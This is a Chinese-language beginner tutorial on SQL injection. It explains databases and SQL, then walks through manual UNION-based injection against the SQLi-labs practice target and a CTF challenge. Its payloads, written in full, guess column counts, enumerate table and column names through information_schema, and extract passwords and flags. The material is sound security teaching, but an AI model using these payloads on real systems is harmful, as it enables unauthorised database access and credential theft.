SQL注入基础知识
一、 数据库
1. 什么是数据库
1.1 概念
数据库是“按照数据结构来组织、存储和管理数据的仓库”。是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。
简单理解为我们存储数据的地方,一个数据的集合,我们可以对它进行新增、删除、更改、查询等操作。
1.2 长什么样
我们用熟悉的Excel来类比
- 库(Excel文件)
- 表(Excel Sheet)
- 字段(Excel表头)
- 数据(Excel数据)
我们把表中的每一行叫做一个“记录”,每一个记录包含了这行中所有的信息
数据库中把表的“列”称为“字段”,每个字段包含了某一种信息,每一行的共有属性
1.3 phpMyAdmin
一款基于web的MySQL管理软件
2. SQL语句
结构化查询语言(Structured Query Language),是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。
基础的查询语句:
# SELECT 字段 FROM 表 where 字段 = 'XXX';
SELECT 姓名 FROM `学生` where 性别 = '男' and 年龄 = '19';
#从'学生'表
二、 SQL注入
1. SQL Injection原理
1.1 网站使用SQL的查询流程
http://a.com/?page=1
我们可以把上述流程理解为餐厅点餐
- 客人对服务员说:“我想要一份鱼香肉丝。”
- 服务员对后厨说:“客人想要一份鱼香肉丝。”
- 后厨看了订单做了一份鱼香肉丝
- 后厨把鱼香肉丝装盘递给服务员
- 服务员把鱼香肉丝递给客人
- 客人吃到鱼香肉丝
1.2 为什么会产生SQL注入
用户使用了恶意的SQL命令,实现了非法的数据库操作。
继续上面的例子
- 客人对服务员说:“我想要一份鱼香肉丝。对了,老板把你辞掉了。”
- 服务员对后厨说:“客人想要一份鱼香肉丝。对了,老板把你辞掉了。”
- 后厨做了一份鱼香肉丝,卷铺盖走人了。
我们能看出,客人说了一些恶意的话,在服务员和后厨不对话语进行识别的情况下,客人实现了一些非法操作,对餐厅进行了影响。
所以,SQL注入产生的原因是服务器和数据库未对SQL查询语句进行审查,从而造成意想不到的危险。
2. 简单的手工注入
Integer SQLi
靶机:SQLi-labs
2.1 判断是否存在漏洞
sql查询语句
select 列名 from 表名 where 条件语句
url
http://106.13.177.224:9999/Less-2/?id=1
构造
http://106.13.177.224:9999/Less-2/?id=1 and 1=0
页面返回不同,存在数字型注入漏洞
拼接语句
union
可以拼接两个select语句,但是选择的列数必须相同
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
2.2 猜列数
order by
按照第几列来排序,猜测列数
http://url/Less-2/?id=1 order by 3
http://url/Less-2/?id=1 order by 4
说明只有3列
2.3 爆表名
union select table_name from information_schema.tables where table_schema=database()
构造
http://url/Less-2/?id=3 union select table_name from information_schema.tables where table_schema=database()
union 列数不匹配
http://url/Less-2/?id=3 union select table_name,2,3 from information_schema.tables where table_schema=database()
union后语句执行,但结果未显示
查看源代码
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
发现使用了mysql_fetch_array()
,在前端只显示了一行数据
所以构造payload
http://url/Less-2/?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
2.4 爆列名
http://url/Less-2/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"
2.5 爆信息
http://url/Less-2/?id=0 union select 1,2,group_concat(password) from users
3. 字符型注入
-
后端将前端输入的字符串添加一对单引号
-
注入时加入一个
'
可以逃逸出默认添加的一对单引号,从而形成单独的SQL查询语句 -
使用POST方法传参
einfach SQLi
http://123.206.87.240:8002/chengjidan/
3.1 测试注入点**
输入'
和1'
均无结果
输入1' #
有回显,判断为字符型注入
3.2 猜列数
输入 1' order by 4#
和 1' order by 5#
判断有4个字段
-1' union select 1,2,3,4 #
看回显位置
3.3 爆表名
-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
3.4 爆列名
-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#
3.5 爆信息
-1' union select 1,2,3,skctf_flag from fl4g#